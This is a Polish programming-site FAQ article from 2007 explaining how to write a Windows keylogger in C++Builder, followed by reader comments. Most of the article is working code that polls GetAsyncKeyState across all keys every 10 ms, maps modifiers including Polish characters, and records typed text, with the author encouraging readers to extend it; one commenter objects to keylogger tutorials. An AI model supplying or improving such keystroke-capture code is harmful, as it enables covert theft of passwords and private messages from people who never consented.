Programowanie w języku C/C++ » FAQ

Prosty i skuteczny KeyLogger dla Windows

  • 2007-06-13 21:23
  • 7 komentarzy
  • 9498 odsłon
  • Oceń ten tekst jako pierwszy
Jak napisć dla Windows fajny, krótki, mały i skuteczny KeyLogger?
Wcale nie trzeba używać hook'ów i tym podobnych. Wystarczy stara dobra funkcja WinAPI GetAsyncKeyState(int);

Kod zaprezentowany poniżej szczytem fachowego kunsztu i dopracowania nie jest, ale swoje zalety ma.
Największą jego zaletą jest to, że w chwili nagle zaistniałej potrzeby napisałem go w 10 minut :)

Otóż jak podpowiada nam help do Win32, funkcja ta zwraca stan wywołanego w parametrze (po kodzie wirtualnym) klawisza. Dobiera się do chyba wszystkich przycisków klawiatury z myszą włącznie ;) Ale w ramach upraszczania zajmijmy się najbardziej podstawowym zastosowaniem - logowania klawiatury przy jej pomocy.

Co nam będzie potrzebne?
Na początek tablica i zmienna - globalne dla porządku:
short state;
short old_states[256];


Teraz uraczymy się komponentem Timer (wszystkie inne metody czasowego wywoływania kodu wskazane, mi jednak zależało na czasie kodowania).
Liczymy po prostu na to, że nikt nie pisze na klawiaturze szybciej niż +~- 7 znaków na sekunde, bo by się Timer wyłożył :) Z praktyki jednak wydaje się Timer być wystarczająco dobrym rozwiązaniem.

Ustawiamy mu interwał czasowy na 10msec i do zdarzenia OnTimer przypisujemy:
for(int i = 0; i < 256; i++) {
    state = GetAsyncKeyState(i);
    if( ((state << 8) != 0) && ((old_states[i] << 8) == 0) ) {
            char type = MapVirtualKey(i, 2);
            type = tolower(type);
 
        Memo1->Lines->Text = Memo1->Lines->Text + type;
    }
    old_states[i] = state;
}



Oczywiście zamiast zabawy z Memo1 można z tym char'em zrobić cokolwiek...

Ale po uruchomieniu zauważamy, że nie działa całkiem zadowalająco, a nawet całkiem lipnie, bo nie rozróżnia modyfikatorów (ALT, SHIFT) i wszystko co czyta to łacińskie litery i arabskie liczby :)

Cóż więc? Z tym też sobie poradzimy, przecież nazywamy się dumnie programistami, a problem nie wygląda tak znowu beznadziejnie...
Wystarczy w momencie zbierana znaków sprawdzać stan klawiszy SHIFT, ALT i CAPS-LOCK.

Tworzymy więc kolejne tablice globalne zawierające znaki z i bez modyfikatorów:
char alt_0[] = "zolcesaxn";
char alt_1[] = "żółćęśąźń";
char shift_0[] = "1234567890[]\\;',./-=";
char shift_1[] = "!@#$%^&*(){}|:\"<>?_+";
char shift_alpha_0[] = "żółćęśąźńabcdefghijklmnopqrstuvwxyz";
char shift_alpha_1[] = "ŻÓŁĆĘŚĄŹŃABCDEFGHIJKLMNOPQRSTUVWXYZ";


I teraz piszemy kod obsługi dla modyfikatorów, którego nie bedę jednak szczegółowo opisywał. Warto jednak zaznaczyć iż istotna jest kolejność wprowadzania modyfikatorów ze względu na przyjęty przeze mnie algorytm.

Takoż nowe, "ulpeszone" zdarzenie OnTimer wygląda następująco:
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
for(int i = 0; i < 256; i++) {
    state = GetAsyncKeyState(i);
    if( ((state << 8) != 0) && ((old_states[i] << 8) == 0) ) {
            char type = MapVirtualKey(i, 2);
 
            type = tolower(type);
 
        // ALT
        if(HIWORD(GetKeyState(VK_MENU)) != 0) {
                int len = strlen(alt_0);
            for(unsigned short i = 0; i < len; i++) {
                if(type == alt_0[i]) {
                        type = alt_1[i];
                    break;
                }
            }
        }
 
        // CAPSLOCK
        if(GetKeyState(VK_CAPITAL) & 0x0001) {
                type = toupper(type);
        }
 
        // SHIFT
        if(HIWORD(GetKeyState(VK_SHIFT)) != 0) {
                // dla wszystkiego, co nie jest litera
                int len = strlen(shift_0);
            for(unsigned short i = 0; i < len; i++) {
                if(type == shift_0[i]) {
                        type = shift_1[i];
                    break;
                }
            }
 
            // dla liter
            len = strlen(shift_alpha_0);
            for(unsigned short i = 0; i < len; i++) {
                if(type == shift_alpha_0[i]) {
                        type = shift_alpha_1[i];
                    break;
                } else if (type == shift_alpha_1[i]) {
                        type = shift_alpha_0[i];
                    break;
                }
            }
        }
 
        Memo1->Lines->Text = Memo1->Lines->Text + type;
    }
    old_states[i] = state;
}
}


I tym sposobem w 15 minut napisać można całkiem sprawny i skuteczny KeyLogger, chociaż jednak nie bez wad. Lecz do kolejnych modyfikacji i usprawnień kodu zachęcam już czytelnika.

7 komentarzy

Brak avatara
Mati 2013-10-23 17:05

ej a jakie biblioteki trzeba wgrać???

Toff 2007-06-16 02:42

Instytut Studiów Podatkowych, Internetowy Serwis Prawny, Instytut Spraw Publicznych, Internet Service Provider...

Jeśli to ostatnie to częściowo zgadłeś :P

janislaw 2007-06-14 08:53

Nagła potrzeba? Koleś z ISP?

Wolverine 2007-06-13 12:10

Tak jakos art mi sie nie podoba, w sumie duza role odgrywaja tu moje uprzedzenia do pisania tutoriali o roznych keylogerach, trojanach itp.

Toff 2007-06-13 10:36

Nie przypominam sobie funkcji WinAPI, która umożliwiałaby callback przy wywołaniu zdarzenia klawiatury poza focusem. Pozostają Hooki, które z założenia chciałem pominąć...

Wolverine 2007-06-13 06:25

Ta, nie ma to jak while( 1 ) skoro sa zdarzenia, callbacki itp...

Toff 2007-06-13 03:21

Z góry przepraszam za wszelkie niedociągniecia fomralne, ale na 4p.net nie byłem mniej~więcej od 2,5 roku, a wiele, wiele się w tym czasie zmieniło...